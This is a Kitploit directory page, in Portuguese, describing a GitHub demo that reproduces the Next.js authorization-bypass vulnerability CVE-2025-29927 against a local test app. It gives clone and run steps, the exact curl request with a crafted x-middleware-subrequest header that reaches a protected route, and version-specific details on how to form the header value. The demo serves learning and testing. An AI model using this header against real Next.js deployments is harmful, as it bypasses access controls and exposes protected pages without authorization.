Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-29927-demo — Next.js における認可バイパスの脆弱性 CVE-2025-29927 を再現するデモです。 | Kitploit
Ferramentas/GitHubGitHub/t3tra-dev/cve-2025-29927-demo
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationLearning & EducationLabs & Practice
GitHubt3tra-dev/cve-2025-29927-demo

cve-2025-29927-demo

Next.js における認可バイパスの脆弱性 CVE-2025-29927 を再現するデモです。

Ver Repositório
4há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cve-2025-29927-demo

Demonstração que reproduz a vulnerabilidade de bypass de autorização no Next.js.

Para mais detalhes sobre esta vulnerabilidade, consulte Resumo da vulnerabilidade CVE-2025-29927 do Next.js.

Como reproduzir a vulnerabilidade

  1. Clone este repositório.
root@kitploit:~
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
  1. Inicie o servidor.
root@kitploit:~
npm install
npm run dev
  1. Envie uma requisição com o cabeçalho x-middleware-subrequest utilizando curl ou similar.
root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected

Isso causará o bypass de autorização, permitindo o acesso à página /protected.

O valor de middleware é o nome do middleware reconhecido pelo Next.js. Neste aplicativo de demonstração, existe um middleware chamado middleware, portanto, ao especificar esse valor, ocorre o bypass de autorização.

[!TIP] No Next.js 15.x, MAX_RECURSION_DEPTH está definido como 5, portanto é necessário repetir o valor middleware separado por : cinco vezes ou mais. Em versões mais antigas (14.x), apenas um único "middleware" era suficiente. Este aplicativo de demonstração utiliza Next.js 15.2.2, por isso esse valor é necessário.

Baixar ferramenta